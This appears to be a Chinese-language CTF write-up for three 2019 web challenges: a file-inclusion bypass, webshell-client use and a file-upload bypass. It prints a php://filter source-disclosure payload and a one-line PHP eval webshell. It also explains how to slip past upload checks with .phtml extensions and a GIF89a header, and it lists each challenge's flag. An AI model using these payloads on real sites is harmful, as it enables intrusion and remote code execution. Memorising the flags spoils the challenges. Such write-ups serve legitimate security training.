[极客大挑战 2019]Secret File
考察知识点:bp抓包,文件包含,伪协议
查看页面源代码,发现
进去看看
仍然没啥用,再次查看源代码,发现action.php,进去看看直接到了end页面,猜测反应太快,试试抓包
发现secr3t.php
之后为
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
代码解析
如果$file
包含"../"、"tp"、"input"或"data"(不区分大小写),则脚本会输出"Oh no!"并终止执行。
禁用了一部分伪协议的关键词,那么就用php://filter伪协议
?file=php://filter/read=convert.base64-encode/resource=xx.php
base解密
flag{3dbc981c-5d2a-4f52-895b-86ae37448724}
[极客大挑战 2019]Knife
考点:webshell工具(蚁剑)使用
flag{7d88923e-1f22-4ddb-b617-94caed8ed17c}
[极客大挑战 2019]Upload
考点:文件上传
先上传一句话木马试试
这时选择抓包,修改上传格式)(每次抓包时需修改上传格式)
结果
文件绕过的格式也有很php,php3,php4,php5,phtml.pht
在这里选择phtml,这个是可以的
结果
就是我的文件中包含了<?,需要过滤掉
使用 script
标签 绕过“<?”
限制
<script language="php">eval($_POST['pass']);</script>
结果
使用 GIF89a
图片头文件欺骗 php
会检测其为gif
图片
添加GIF89a
头
上传成功,用蚁剑连接
根目录下找到
flag{abc83cc3-ea98-4402-97c1-021526640621}